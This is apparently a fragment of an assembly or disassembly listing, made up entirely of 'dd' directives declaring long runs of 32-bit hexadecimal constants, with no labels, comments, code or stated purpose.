dd 774B470Ch, 0FF25A15h, 67A6AFCDh, 31775B21h, 7EC776EFh
dd 800FB2DFh, 50A7B807h, 5F477CEFh, 0E9784C9h, 0D73594F3h
dd 2FF45E6Dh, 0C06D3BD8h, 95EDE3C5h, 3281D01Ah, 6CD07A9Bh
dd 28A05434h, 0AF7308BEh, 35EBEFDEh, 0E02B26h, 0E3C43F6Ch
dd 84DC2CFh, 6140F221h, 150F4B01h, 6D42E41Bh, 228E614Eh
dd 377F421Ah, 0AD98D969h, 2BE7F09h, 29F30F14h, 4C4FA1E9h
dd 4DA1DBF1h, 0D926D885h, 30AFBA19h, 384840CFh, 0CF5CD7FBh
dd 2665B5D2h, 9995F72Dh, 0A732BB26h, 0A4659F30h, 55E04B5Eh
dd 0F3B0031Ah, 0D8F42500h, 783DFABAh, 4A93A3B1h, 3AB36127h
dd 0A72C4408h, 880C8D06h, 8698E70Dh, 455735B5h, 0ECF98DA4h
dd 335B20h, 0C2B1EB55h, 60464C5Ah, 3D737FDAh, 0E457F18Ch
dd 5283A90Fh, 3A315D81h, 0EC16DD5Fh, 0C1085479h, 53C890E1h
dd 37772B4Dh, 0C97D0969h, 0F6F906A0h, 64DB679Dh, 0C55A8DBEh
dd 0FD963CC4h, 65AAF61Ch, 0EBFC4B7Ah, 22C89D4Dh, 178038CFh
dd 5D255642h, 0E4D439FDh, 0BE30E57Bh, 7C46D5DAh, 1278639h
dd 5C0D4739h, 0F542B18Fh, 0DB8EE8C2h, 5AFCC4C2h, 1F607D96h
dd 97839206h, 0B5DD9602h, 0B132E10Fh, 0A61F6590h, 1E46F5C7h
dd 0CC36969h, 38366D8Ch, 7D6C38D5h, 0B0E9D3D5h, 87CBC261h
dd 50358BD1h, 19FBD510h, 17DCD0CEh, 8ADD17A0h, 7DCB4DB8h
dd 0C96A9E09h, 9736F22Fh, 1BA4D4BAh, 40EC60C1h, 33FAA97Fh
dd 0AD6CE680h, 4270AC96h, 94FCBD80h, 797B48D1h, 88E4D8E8h
dd 2699ADBCh, 1B356660h, 7C3CF538h, 12326D3Ch, 9C47FC8Bh
dd 59B19C6Ah, 0E3506BB6h, 6F0954F3h, 2A6B7E83h, 16EB20C4h
dd 9E41DC25h, 0AD11B613h, 0E5E66719h, 0ED8C0FD0h, 2B0AB335h
dd 1C16FEF9h, 5D25E34h, 4C4DB08Bh, 58486C60h, 0C7DEDBECh
dd 0C8BD3E22h, 57F22C6Ch, 0E67E2C4Ah, 8CDBF01Fh, 2A3C71Dh
dd 0DFDBC244h, 2E6F0747h, 0CC7F761Fh, 0ED007F9Ch, 314F376Fh
dd 0BAB30942h, 3F87010Fh, 0FBD46840h, 20A6EFEAh, 0DB74C421h
dd 4F0DA35Fh, 0A3645A61h, 0FED83319h, 979777FAh, 0E3AD4F86h
dd 7189BBA5h, 2512142Ch, 82055C13h, 0FC29E1BDh, 0E9704748h
dd 82980DAEh, 37C6F8E1h, 130D0212h, 0E2DFE2B0h, 33FEE8C4h
dd 281D84F9h, 946FD2BEh, 0BF57432Eh, 0F5CED4D3h, 0CBDB9A83h
dd 5795F8E3h, 1CE70397h, 0CBE9BAB7h, 7732F826h, 856CFA2Eh
dd 72792522h, 8981F36Ch, 7EC22270h, 5FCFAAF5h, 0BEA15783h
dd 81D113C3h, 7576C2h, 0F3ECFAF2h, 0E3EACFF5h, 777EA0D7h
dd 0D92B22Fh, 958F397Fh, 3671998Ch, 0F5E66318h, 7A2807F8h
dd 0E768EF01h, 6484EC3Bh, 0C46CFF55h, 0D7C7E80Dh, 4F8DDA1h
dd 0A6EFD74Ch, 36CA8417h, 163E487Ch, 85528C7Fh, 0B789C085h
dd 0F35FBBC0h, 3F199B4h, 0EBA951DAh, 0B91E3AFh, 5DC65BAEh
dd 0FBD959BDh, 0D114B00Ah, 0B3AB037Fh, 18F08F19h, 0F3B1D92Bh
dd 192F55CDh, 0D0F8460Ch, 156B29FFh, 0D4F617DEh, 0FD2E3F2Ah
dd 0EAD38617h, 0A5E94FFh, 0CD66CFA1h, 5F4E9D0Ah, 0E9379DBDh
dd 0F3D0ABA1h, 982BE0BEh, 6C700A9Fh, 4D549920h, 98CE336Dh
dd 6E4569BBh, 512CC0B0h, 4B4B5ECFh, 50411F80h, 4CD4F076h
dd 0E6FD0183h, 93EA76F0h, 4DA43D09h, 0C4A96DC7h, 96BFAB60h
dd 5511CA5Bh, 20E52DC3h, 4134B2CEh, 91A8D09Fh, 0D7A56940h
dd 0E136B7C9h, 399E4700h, 66C5107Dh, 0F19B4BD2h, 0BB706FD5h
dd 5AAAACE8h, 70834FEh, 0A03EB74Dh, 48609D40h, 0B762D13Bh
dd 8DD7DE5Ah, 274A0161h, 0C61676CAh, 9844CDD2h, 50B6987Dh
dd 137C149Eh, 85B56ED3h, 140368BDh, 22907B3Eh, 0A86EC3C7h
dd 0A645AEFAh, 72F51BB6h, 0C7956F4Bh, 0E8DF74E9h, 7F748C9Bh
dd 37568C1Fh, 37A54272h, 0F0F9C2D8h, 6412FBB7h, 828649E9h
dd 63DB12E2h, 0A126C819h, 637D20BBh, 0CD807354h, 7E813EE9h
dd 0BD1DE882h, 71F30118h, 37E89279h, 67E88918h, 688FB9E9h
dd 0F6497728h, 50EBF762h, 2709382Eh, 0D1A1610h, 340FCB0Ch
dd 0FAFFC7D4h, 0E7524064h, 9EEFD458h, 3ED725h, 0EA30EC65h
dd 0F3422EABh, 6F708FCCh, 1D00C5D3h, 0B6A744FCh, 0CE61D026h
dd 0E0EA5510h, 1E468954h, 0F52ED348h, 3E312B91h, 3ADBF707h
dd 3C620F0Dh, 0EA6F8770h, 0AEE111FCh, 784CD193h, 875548A6h
dd 4B392D4Bh, 3E70B921h, 548B0901h, 0FC6F53ADh, 2D61168Ch
dd 0AB18ADC3h, 81D66221h
dd 0CB4E8F5h, 0F0354D73h, 338F27B1h, 34431313h, 6A699793h
dd 90630A39h, 13A784AEh, 1A469B21h, 70EB5524h, 31FD416Ah
dd 2315584Ah, 0AAB7A4FFh, 8DA4337h, 46E2E6C2h, 0EA52C999h
dd 6932A82Fh, 4C4DF05Ch, 0CD1E4ABAh, 8CD3A4A8h, 605748B5h
dd 9841FC96h, 5A40E2A9h, 3AE0605Dh, 2D6D8B68h, 5EEC947Ah
dd 3AB0C3CBh, 69B7494Fh, 1BDF0772h, 0ED511C5Dh, 0F28C22D5h
dd 75F1CE93h, 8B79C2D7h, 50B7423Fh, 16029E9Fh, 90DB45C1h
dd 0E90D7E9Ah, 0EBAD54BCh, 6E5D8746h, 32245A7Fh, 0A6ABC00Dh
dd 4B2B7401h, 0BF50158Fh, 61A0E35Fh, 0FF7B5480h, 0DC846DB0h
dd 92772740h, 4D7D2C30h, 16F40791h, 0A382E8EFh, 0F6C24D5Ah
dd 0AFA27FC3h, 0EF106C54h, 6A155B9Dh, 0ECB81BE3h, 32D7B853h
dd 0AFA84B07h, 0EED019F4h, 147B6103h, 16D485F1h, 32EF12F5h
dd 4345D9BFh, 0B87242F6h, 0CC028638h, 0E5B3BAC3h, 49602E00h
dd 67B37072h, 0CA459DD7h, 4D99FABBh, 7C2B4BDh, 277EA93Ch
dd 0E17A5DA4h, 0E1A48D4Eh, 5118A257h, 0C38E4CEAh, 0E1C623BBh
dd 0BD66F8DAh, 0D8989A4Dh, 262255D1h, 0E0A76B6Ch, 1E20E562h
dd 49D2CE86h, 0D2E57125h, 0BCABDA9Dh, 2A3A2E5Fh, 961C4CFEh
dd 3B82EE6Ah, 6FC17812h, 727CF538h, 6C05E90h, 0A74FF3ABh
dd 93EBE906h, 65789068h, 501950D9h, 0E1371FEEh, 68EAD77Eh
dd 2E622629h, 0B44C515Dh, 0B14CCA5Dh, 0C5BFADEBh, 19A55F04h
dd 0CAF996BDh, 0C0B349CCh, 911EBAE9h, 0A50FA41Eh, 0DF014F70h
dd 442D9EA3h, 0FB4AC40Eh, 0DE1E3268h, 707629D7h, 9D2EAF4Eh
dd 7EC744C3h, 68D91B97h, 43D459E7h, 0A0D6D9E3h, 631933D4h
dd 2A1DDB4Fh, 7ECD862Bh, 0E51CBE50h, 85C9E3A2h, 0F2CE0F94h
dd 5153B238h, 1A8E9E5Ah, 4BA56754h, 4F297920h, 0F76BF946h
dd 9B269871h, 72F30591h, 5C9A5EEh, 28763050h, 9CD5604Ah
dd 566E8187h, 64F288C2h, 7B769D32h, 43C0EA5Ch, 9AD22F30h
dd 878BFCE7h, 4D3FFBBh, 0E80A2E8Ch, 1858E64Eh, 200EBB7Fh
dd 8C4BC4C6h, 6A1A17DFh, 7D85E12Eh, 0EC1BFC7Fh, 0EEF8508Dh
dd 0BE5A1455h, 4512E6B8h, 0CEE9C0B4h, 2E42728Ch, 5952E713h
dd 0A2969892h, 1E223650h, 0CA108F76h, 89A563AAh, 2929AC18h
dd 9E7C3D94h, 0FCC31650h, 108AD26Ch, 4C545635h, 6C22B4D0h
dd 0CBDBB682h, 450F7AFDh, 3403D05Eh, 0ED86790Dh, 0FA2893C3h
dd 4EC5D012h, 0FF963149h, 27AE5526h, 5A8B2CBDh, 1A8F1139h
dd 0D1A316D3h, 8FFF4B80h, 0B9321306h, 38549328h, 0E79ABD4Dh
dd 4BA0F5E2h, 1DB33EBDh, 4C792239h, 3050F613h, 0A79ADE9Bh
dd 0BF9C2FC1h, 6910E437h, 6D7BB676h, 0D033078Fh, 3C2CFF0Fh
dd 0AA4347D0h, 0A62F56D9h, 67D70C1Bh, 5F55EB21h, 6D2AD90Bh
dd 52F06DF5h, 0CB0B6959h, 0EFBC919h, 65A5E9F4h, 5EB2B413h
dd 1FD856BCh, 0E337C32Ah, 0D83071A6h, 9E2D281h, 9067811Bh
dd 82BF5B2h, 67896413h, 0BB19E9BAh, 5D3BC89Eh, 0E81ECADh
dd 0F982465Dh, 228ABBA1h, 6F091484h, 5C9A6EC0h, 0B9F83A98h
dd 83FC7FF9h, 522FE5DBh, 91C03FBDh, 21D2E19Dh, 4760CBA9h
dd 147EBEEFh, 0B669921h, 96372463h, 76FB8C5Dh, 0D41A1DEh
dd 4B0E9F46h, 4E8FD8Eh, 8AC6BF3h, 6336BA81h, 0C7B1110Dh
dd 578722EBh, 800BB111h, 9B5E8BE1h, 6E1185D8h, 32FE5C7Bh
dd 0DEC3AD55h, 970A7A2Eh, 0F90B0EEBh, 296D0FFFh, 5D5E7DA5h
dd 0D3E18991h, 0E500FC9Eh, 37C22FF3h, 983DF5B5h, 0C760EBE8h
dd 0E43D5BA5h, 404D36E2h, 0BF56C296h, 0FE42D6h, 0C04E3FD4h
dd 15735565h, 0F56CD3C9h, 0A81C85B2h, 2EFCFFF1h, 6D5872B5h
dd 8CA0B4DFh, 1329A66h, 8CCC6DD7h, 35518D5h, 0AB7DD954h
dd 0D82B5A85h, 0BC1645C2h, 22F549A3h, 0DF6EB86Ch, 0D5A44CB7h
dd 4BC92FAAh, 0EDBB6708h, 6AA8F6B5h, 74DF45AFh, 3A7D2C46h
dd 0D370A64Dh, 1F74D8FAh, 3BAE5183h, 0E434618Dh, 96A504D1h
dd 0BA90FB0Eh, 727832F9h, 6F0B6BBEh, 0DD1DA0CDh, 0B830C14Dh
dd 2CE2E6Dh, 9A43D456h, 9A9EB085h, 0E6C84170h, 68095C26h
dd 223FD5A3h, 0EFAF7523h, 0F75D8E3Eh, 0A4CF603Fh, 0E7BBED19h
dd 5BD63410h, 2A3400h, 5673136Bh, 0C23EFB57h, 6EDA1958h
dd 4648E5DFh, 0E03FB19Ah, 0CC21D165h, 600A658Eh, 7ACF8B2h
dd 0D6795C70h, 4B21A7E6h, 6D404D03h, 36ABCBB7h, 9AFD92E7h
dd 900F89EFh, 137DB8D2h, 17E11C88h, 0FC52FF45h, 0B2E5FE2Fh
dd 0EAEF97D4h, 0FC082C5Fh, 9BE82C5Eh, 0E389901h, 0CF4AA394h
dd 1F64C2E1h, 0CCC3C8E5h, 0A63952E3h, 307239E8h, 0E1551E79h
dd 0CD7D4FCBh, 6036BFD6h, 6A12D61Bh, 9F046F74h, 27D0E64Eh
dd 4240759Ch, 0C0B1D82Ch, 31E722BBh, 9E69EC45h, 1C4E8B8Ah
dd 36F62298h, 0AE4BEC77h, 0BA619D13h, 89DEBE73h, 5BE48C50h
dd 7D3D4DF4h, 6C73E85h, 0D914E0F0h, 0FE0D4C40h, 1E8C9322h
dd 0C19F8B2Fh, 5E926937h, 14C40B80h, 0FBBF87B1h, 7572EAA7h
dd 0D9CCAC1Eh, 9C583D2Ah, 0EE595D27h, 94AA10C2h, 11553FD5h
dd 4774697Bh, 817B9B64h, 0B3F3896Ch, 0FCB64015h, 0C0DB273h
dd 2616C6CFh, 134F5558h, 0ECA7CB6h, 8CC04767h, 1812713Eh
dd 0BB1B2317h, 594C7580h, 81DCEBD8h, 0F17A040Eh, 0DB8DF60Bh
dd 5367D05h, 2032A285h, 0B8FD03D6h, 43A877A5h, 56433C1Eh
dd 0E5E2F4D6h, 0E9686804h, 23FEA2DDh, 0B2657480h, 0D455352Bh
dd 8BE1B54Bh, 317D58B3h, 0A0392399h, 0F0E0EF6Ah, 0A2AA251Ch
dd 0AA83E0E7h, 0F91073FEh, 2E692256h, 6C172418h, 975DC353h
dd 0F7C5DEE0h, 8D1E4D32h, 7C666D2Fh, 0F6314529h, 0DC4BC55Fh
dd 7809DF2Eh, 0BE504D4Ch, 768EC299h, 4E7665A1h, 0F9BCDF2Eh
dd 6F2E26C3h, 0D3154EACh, 63F20C0Eh, 2C528A8Ah, 3BEA457Dh
dd 74D6BF35h, 19765AFBh, 50E685F9h, 1034E6E3h, 0B77F53A1h
dd 4542887Ah, 6E50A205h, 17E7DFFh, 0FFF7732h, 8B93F01Eh
dd 35AB42F8h, 0BE61ACB9h, 0F34B18AFh, 0F9EFD61Dh, 0F63BD44Bh
dd 6CB44B62h, 0D12D17ECh, 0D17EC7CBh, 0E63D3D12h, 0FEE896F3h
dd 0A25D1731h, 0DF93FC2Dh, 2B7B8788h, 0A2BFCD52h, 8731113Bh
dd 0B4FAD365h, 299665B3h, 60279D27h, 0D8C0EEAAh, 5B132EEEh
dd 15B3E566h, 0C7916D93h, 7C2F23D1h, 0B00776B2h, 76137460h
dd 0AD9894FDh, 0DA469FFEh, 0FF87FF72h, 123FC5C9h, 51AAFD8Ah
dd 7C50F3BAh, 436A49E4h, 0A8DE798Ah, 2A507B3Ah, 6A5C1B0h
dd 2FC8E375h, 522C0727h, 0FC3D41B5h, 9A4A3A09h, 0A23E16AEh
dd 0FEEC5C4Fh, 1AAC7A21h, 663A7151h, 0AC69A246h, 6A86EEEEh
dd 0D0C283D5h, 716FAE8Ch, 877EB54Bh, 0D18797FAh, 0F12F57CBh
dd 2337938Ah, 0AB97970Ch, 28E8AB41h, 6AD7F698h, 9A902B67h
dd 36A3F1DFh, 8996F8CDh, 67C4DD17h, 98793FA8h, 4E1CE26Fh
dd 545FBC7Ch, 30BE1EABh, 0B38FFF92h, 0BA6F81B7h, 93C7FEBAh
dd 2012D36h, 48A45009h, 328B452Bh, 6A868A8Bh, 4196616Bh
dd 53546EB0h, 0A152D02h, 31BF58E8h, 209264EAh, 4C5AA5FAh
dd 321F0DA3h, 6E1B06DDh, 0C710C1B8h, 104E2714h, 608A1E54h
dd 2AB1145Bh, 0A1B81D42h, 5535BBA2h, 5208548Bh, 9F79FF9Ah
dd 0FA493F7Bh, 0FFFDF6C0h, 0B9FA65E4h, 9EE74FCFh, 0E7B9CE7Bh
dd 0C8C7339Eh, 313F176Ah, 0C3E9C26h, 0B070911h, 6EA06F03h
dd 2F99763Bh, 0ADD17B65h, 704CCBA0h, 881BB016h, 2B785DD1h
dd 7DF3AB6Bh, 6094DB09h, 7643B04Ah, 21B9FA48h, 7F1EE17Ch
dd 759DC26Bh, 67648EBAh
dd 6D31C2C8h, 4C98168Ah, 0CEC4A4F2h, 4DC9694Eh, 7552BE9Dh
dd 0A7DEA984h, 24BDECD8h, 0FBF7BA95h, 3EB3EA88h, 973A81D5h
dd 2AEB7AE7h, 0F53110C7h, 26069E41h, 0CE3462A9h, 68EBE20Ah
dd 32C6FBE3h, 188FE75Dh, 0ABAA5F17h, 47753022h, 23B8E2D9h
dd 389B143Ah, 5D40999Ch, 0CD7A46F5h, 4D87BC4Ah, 85DDB3A7h
dd 9F2DCC7Bh, 3B5CDB3h, 0BCD341A3h, 113722C2h, 9F5D8F37h
dd 6EA37482h, 9E291B25h, 5B1595ABh, 454F8040h, 0B27762BAh
dd 0A9CC6AEEh, 46E9258h, 72B4811Fh, 86DDBF17h, 8A2EE70Fh
dd 7448FE25h, 62312B7Dh, 48E24BBEh, 61B8A667h, 6788A289h
dd 0B8D67DF2h, 924F68F0h, 0B0D7D50Bh, 170EA48Dh, 2A2B4BEDh
dd 6DCA5027h, 8DA97565h, 1AD52EACh, 0E08B19BFh, 7E34EC4Ah
dd 0C8AF9DAh, 0A7E35F3Fh, 0F0881615h, 7C7E63AEh, 0D81977E1h
dd 2888B718h, 48FC4503h, 3676E5E4h, 29A32F73h, 0ED5B3B63h
dd 0A987AF1Dh, 0D4C4C57Bh, 0CC7EC211h, 8B12E0A8h, 1DC89FEBh
dd 5658FEF2h, 0BF21D5C3h, 9B9DB6B8h, 94EE80E8h, 0F6C61B28h
dd 7A2C79A9h, 0B187137Bh, 4A196D33h, 0AD9C571Ch, 0B9A81360h
dd 9D63A592h, 436C5C8Bh, 10448AF7h, 0E575DD8Eh, 0B923A82h
dd 64AF7FBFh, 63EC2049h, 1D8BAC06h, 9865F155h, 0B8827496h
dd 312322FFh, 0F505E52Ah, 2CA581DEh, 90877E25h, 49C22690h
dd 35E4AFF6h, 7730657Ch, 0D7C72101h, 8389CBB1h, 4EF6B7C6h
dd 407266A5h, 5F74E32Ah, 1368DFB4h, 1966BFA3h, 6E9534FAh
dd 4352A6DDh, 71D3B253h, 3FF3AF07h, 1027B253h, 0A88B73F7h
dd 5A3F1C5Ah, 0D750D92Ah, 1728CA84h, 0C44FF4ADh, 57FBE49Fh
dd 0F0E3AE56h, 0D58364C4h, 0CB85893Fh, 0DEA5FF75h, 9D1889Fh
dd 0F5540EF5h, 10677306h, 0D691A7E6h, 0A82DB612h, 5A66F72Fh
dd 54400DB7h, 862966A5h, 93C4A2FCh, 0FC3EC344h, 7CEC3EA5h
dd 41779E5Fh, 81DED7C1h, 0A7E23BDAh, 4CC306ADh, 592A23F1h
dd 2943634Eh, 5E857FBh, 17A05DCAh, 0F27F163Fh, 0DB517BC5h
dd 9B8E8FA1h, 9FC44FF4h, 90A3EB64h, 0E3AE5419h, 0A2E11A38h
dd 0FFBA3552h, 7134EF50h, 0E3BD4273h, 6694BD64h, 74CE9673h
dd 12326E1Fh, 5045D993h, 0BE18D9BCh, 0CFFF54BAh, 7FB86B73h
dd 0DE2C503Ch, 0FAABC6F2h, 37EF1CFCh, 662A3F48h, 5267DB2Fh
dd 0A7DBCEB7h, 0C4A74A5Ch, 0E54669BDh, 0CFD3CD08h, 0B43CB47Eh
dd 5EF404D0h, 9D72E755h, 4F67C0DAh, 9C0B709Dh, 0C6C5533Dh
dd 757F3A84h, 518B3D8Eh, 688721B5h, 6C880870h, 408A7959h
dd 0C7C77Dh, 0C57E9FFCh, 25550320h, 0AE72BF4Fh, 0C7B5C5D1h
dd 0BD71B5EAh, 42670B37h, 7AB1F9BDh, 0D3827F45h, 0F1532F96h
dd 2E350DB4h, 0DEAA2DF1h, 6E3E93B9h, 505879F2h, 45D81F95h
dd 30455F21h, 67CD5880h, 0E9E9C056h, 0C1D41DA3h, 333B9EB7h
dd 0D81832AAh, 668831F3h, 0B429B5D9h, 3DC0C4E8h, 20911047h
dd 65382D00h, 0CA9359ADh, 5294C529h, 804412DAh, 0EB3B688Bh
dd 0D73F863Eh, 0A5D8B5B6h, 0AAAE8EF2h, 0E4D396B5h, 265E5D45h
dd 15B51844h, 338ADAD1h, 0BE9D15B5h, 576F7552h, 12787911h
dd 0A969BA5Fh, 0F34C44F9h, 3A29A8ADh, 0B49D4A4Eh, 5A1DC248h
dd 243BC441h, 0EBF888EAh, 16F9444Dh, 0D935F0A4h, 2CA2615Bh
dd 312E8D3Bh, 44EA73F2h, 1F396B55h, 290585D0h, 7DC3C6E8h
dd 0AD3A2AF3h, 5041DF35h, 37371133h, 7DCE00D6h, 0EAD1C2F7h
dd 753201A2h, 0D442B661h, 3BCA705Fh, 34BC54B6h, 8C7EEA58h
dd 995D8D2Ah, 3BD4FAFBh, 0DFA918CEh, 1C46E6E2h, 6069514Ch
dd 0D9F66A8Dh, 0D5196BDCh, 0C721E0D8h, 0E0B97585h, 2FD4E4Ah
dd 1E20592Bh, 92BE3FBBh, 0A8659DF7h, 0E0DDF423h, 379DC568h
dd 27724320h, 0CD1350ADh, 734B0905h, 3591469Dh, 0D1666FC4h
dd 9A1C9179h, 3636466Ah, 0DEA564A5h, 0E2F3D796h, 0C525CB1Ah
dd 4F6B2DABh, 0B6BD9381h, 0AA34B8F5h, 516596D4h, 0EE3D72B0h
dd 96DBACDFh, 0F5814A5Dh, 85137FB8h, 3E30881Bh, 0AC95DCC1h
dd 0A320DB6Bh, 3DB8CFE1h, 0F365306Ah, 88B3D155h, 279145C0h
dd 0C470C42Dh, 0F14E50D7h, 0BB141C3h, 21A0A228h, 84555060h
dd 0CC7FEF02h, 6A55AB5Eh, 220A4768h, 3E9375D4h, 974E32B6h
dd 0F4635017h, 0CDEF280Bh, 1229D6EAh, 4BAF271Dh, 0D30018EEh
dd 0DE4F04EAh, 54654EE1h, 4601BC69h, 4EC4CBFCh, 25C5EB1Bh
dd 0D4141277h, 0FA59BC8Eh, 0FC8FA005h, 91EDF74h, 0B29139BFh
dd 0E6ABE816h, 8D3DA411h, 795EF1D9h, 0E7A995C1h, 0D8B25B1h
dd 0F340B027h, 484BB7C3h, 9225AFF9h, 712E22C4h, 7FCC7863h
dd 0B71469C9h, 1122CE70h, 0FC5F185Ch, 0E2F0CFFBh, 2F69927Bh
dd 0A0EEBBEBh, 9FD60050h, 345F1CB6h, 65118313h, 6A3B9740h
dd 0CB3ADF02h, 0B79EDDBBh, 87997943h, 0E3044D52h, 0E67812DFh
dd 7CD6B48Fh, 0A16312C9h, 1B7109DFh, 150ABBDAh, 5485CF89h
dd 88D47C08h, 4E2421CBh, 81AD2B8h, 895943F1h, 0C7145E44h
dd 0DFBC0F7h, 89A24696h, 0E49C432Bh, 0AE5AB1FDh, 0FEB97D56h
dd 572E5FDEh, 96A19BC4h, 192E968Bh, 6522E90Fh, 0B9562C2h
dd 0E3EB0556h, 0CAB58AFAh, 0AFA5DB15h, 65BFC98h, 0FEA28C5Fh
dd 0B55ACCDFh, 26EBC8E4h, 3590EABBh, 48453170h, 5CDBC29Ch
dd 0D25935E2h, 13634293h, 0B64A82Bh, 984E66CCh, 0AAE49EA9h
dd 5BAF94B1h, 0E782C449h, 214320A6h, 0E9D4CF2Bh, 79CB188Ah
dd 0DDA14299h, 0D81A8078h, 0B1827BA5h, 8BF3AAEEh, 35B42571h
dd 30C141EAh, 7278AF4h, 542B96D2h, 8F02DCC0h, 5185B28Bh
dd 0B1540D6h, 9663761Dh, 4AB8BBADh, 8714EE2Ah, 0DD2EA4DFh
dd 5F77C9D1h, 0D5EB7516h, 0BC2EA252h, 852D416Eh, 3579CBA0h
dd 3D75DD71h, 0BC080885h, 2CFBA8D7h, 9EE05DEDh, 4830BF97h
dd 0C577864Dh, 0F5D9CFD0h, 0B7E2C252h, 0F2CFA124h, 0D5113FDAh
dd 8E6EFA76h, 8C09D923h, 0E87FF364h, 0A03E88CDh, 0DA38252Bh
dd 3E6BD012h, 0F81EB66Dh, 5F895DF5h, 0D908A1B5h, 783E0AEBh
dd 5CABCC78h, 5FB7BE4Fh, 0A98F7FA1h, 0EDA58DE0h, 659AA1E1h
dd 1FF1CE15h, 0D05B3907h, 889A60C2h, 90C02D21h, 4FFE9ED7h
dd 13FB3218h, 6209926Ch, 4DF1BDC1h, 9BCEDC52h, 21A34124h
dd 0AFCA34E1h, 11077B30h, 9F3D88BCh, 7F649B49h, 0CCDAD0B4h
dd 8BAF6B9Bh, 0E58EE9EBh, 0E07601DBh, 3E4C5079h, 0DF451E01h
dd 0C8265025h, 0F35AC4BFh, 92C82E3Ch, 2A544E3Eh, 3A631438h
dd 0D552899Bh, 0F9BB0FF7h, 390CE83Bh, 1C1B390Eh, 0EE2AD0ACh
dd 0CEF155E4h, 0F0E8AFCBh, 13BD5EDEh, 95F26E39h, 43F7B3A8h
dd 129855B8h, 3E9EBFE4h, 0F90DE8EAh, 4D73D50Eh, 9803F4A3h
dd 188FDE4Eh, 8B8B1072h, 81215D21h, 8276D646h, 9754C7AFh
dd 49E5E06Bh, 1AFFFEEFh, 4581FBB9h, 9C58DBB8h, 2DD9A387h
dd 12B00FF5h, 1BF652A5h, 76B8A7A7h, 98266AF7h, 0D4B6AB0Fh
dd 0D21C324h, 0C1958071h, 0DDC944Ch, 0A1969722h, 9C54BFA2h
dd 5257A4B8h, 6E3F9F1h, 0E61D043h, 69F1C327h, 3CBF39B1h
dd 0C1577BCFh, 2281DEDBh, 16B953F7h, 0E9C7FB83h, 0ADD3CA45h
dd 0B3E97123h, 40B8464Bh, 8EEE7A34h, 6DF5CA77h, 9DE344EFh
dd 0F2C6895Dh, 5E3442Eh, 6269EEBh, 0E67DD426h, 1D1C24A4h
dd 6A1BB01Dh, 9BB1CA66h, 6478418Ah, 55BB2F9Ch, 2F13C9FCh
dd 1E171AFCh, 0CCC15D7h, 1028B666h, 2B00E601h, 7BAA050Bh
dd 661FCDFEh, 0D225CB51h, 0ACE22BD4h, 0E4B8E390h, 0A8703BCBh
dd 916E9331h, 3C053A4Ch
dd 1A834849h, 0A28581B2h, 8B81A4B8h, 0E3E29CEBh, 943D6541h
dd 0C539ED82h, 974C1027h, 1C539141h, 191B4561h, 0C581CD6Ch
dd 0BD46CDEAh, 0B16A52C1h, 24DCFFECh, 2E5E2C6Bh, 0D76AB6EBh
dd 0D07376A2h, 8E2C16D7h, 2FC3C784h, 8E39B5CFh, 2C870A36h
dd 6D61C2E3h, 7DE07A66h, 3CA30EFh, 4A3F6451h, 0C6524ED1h
dd 0A708641Ch, 0AF9095C2h, 46999B4Dh, 556B4679h, 55288119h
dd 808E9838h, 99C13E9Ch, 0B130D0EDh, 3839C043h, 0E14ED1C7h
dd 0ADC237E4h, 0AE0CCCDAh, 55AAD1CFh, 0E524E475h, 4D6BB554h
dd 0A11E7610h, 328FAA74h, 79CF6CCFh, 39C863C3h, 0CE992CE8h
dd 0E65980C6h, 0F5DF8F39h, 4317687Bh, 3E588CD1h, 3BAC7D0Bh
dd 7C4EB046h, 3B25B69Fh, 0BE6CEE03h, 2CAEF82Ah, 9A764F78h
dd 0FAF097F5h, 12F7708h, 0AB198A8h, 6C54B388h, 8FBD4B37h
dd 0F2856EEBh, 7E45281h, 6EE5921Bh, 44734DE7h, 0ADF85CCBh
dd 929C40BCh, 399CE19Dh, 0C141FA33h, 6DBEF09Bh, 0B3F681ADh
dd 567F7B7Bh, 5807BB8Dh, 9F6F4DFCh, 7D36E089h, 0FC8B51F7h
dd 2D13C336h, 13553315h, 0B2B316EFh, 935433AAh, 0F46A0D9Dh
dd 1C1FACB8h, 0AE364D6Ch, 0EBE55533h, 76D2E1F7h, 0AD78CCC8h
dd 0AF56B8C3h, 0CB62AA0Dh, 80DB6696h, 0DAE9683h, 0CA4E85F7h
dd 55978C7Ah, 0BFBA875Eh, 0FC5F524Dh, 17806546h, 0D92DD742h
dd 5333EAF0h, 3A53FB3Ch, 88A01C71h, 8ABAABBFh, 263BC1A6h
dd 54868B9Ah, 0EFCDF531h, 9570061Fh, 78697CB2h, 232DAE9Fh
dd 391F456h, 6881A549h, 0D5CCBD99h, 34B30907h, 153B2174h
dd 5C1F382Bh, 0ADDAB98Ah, 6C5955CFh, 5479FD54h, 7013C0D6h
dd 1C0F7397h, 0ADB670Ch, 0F7B6D052h, 97B44E67h, 0EDFBDAA1h
dd 0EE26DEB4h, 2389C483h, 20923814h, 0D36A8B79h, 6AA6663Bh
dd 9E126267h, 80C50D3Eh, 0B18B3171h, 6EADA996h, 0E25F8A82h
dd 3C575A94h, 28141508h, 59C97711h, 0B4B3D49h, 0CC84E45Bh
dd 0C9DEEF14h, 5F8996EEh, 0B3F1BC04h, 0DE13C21Ch, 26FAF36Ch
dd 32A2D0C2h, 8F66BD15h, 84FF1F6Eh, 0E71EBE3Bh, 0E64C7C82h
dd 1EC65CC6h, 721488Ch, 61589014h, 0EB5655D4h, 0A50A2368h
dd 0CFF3E4EAh, 3F627D13h, 48CAAFEAh, 8437CE7Eh, 0ED3BAB36h
dd 5822AA36h, 0A0862191h, 3A3CF2FAh, 99797D03h, 6F06FF8Dh
dd 6DC6BF3h, 0B4A5956h, 7952F1CEh, 7A46F273h, 0CB44F0AFh
dd 9614D1C4h, 3F998919h, 28481351h, 0DB96DC0h, 785D3252h
dd 0E1915F92h, 8A31E21Bh, 0BB54C4DDh, 97E3E94Ah, 0D8973DECh
dd 0AFBE3683h, 4751EB15h, 325A0A7Dh, 0FF0DCF96h, 1DEA3640h
dd 0B9178285h, 512E3C78h, 0B25029Eh, 0E67310F1h, 42CE5AB6h
dd 51A13BBh, 44293003h, 0D2FA3440h, 0DB9052F2h, 0DEEA9467h
dd 0BE569AF0h, 0E8D67FD7h, 86E1CFEBh, 0DB3E890Fh, 363B3B8Bh
dd 1EA62B30h, 1F23D841h, 2733F13Bh, 7F81813Ch, 36B1D659h
dd 3363F7DAh, 872F82AFh, 0EC5C77C4h, 0A90A9E9h, 0A3A72864h
dd 9F8015BDh, 1957A8ECh, 0C75DD5B2h, 0D4ACCA12h, 0FA8961Ch
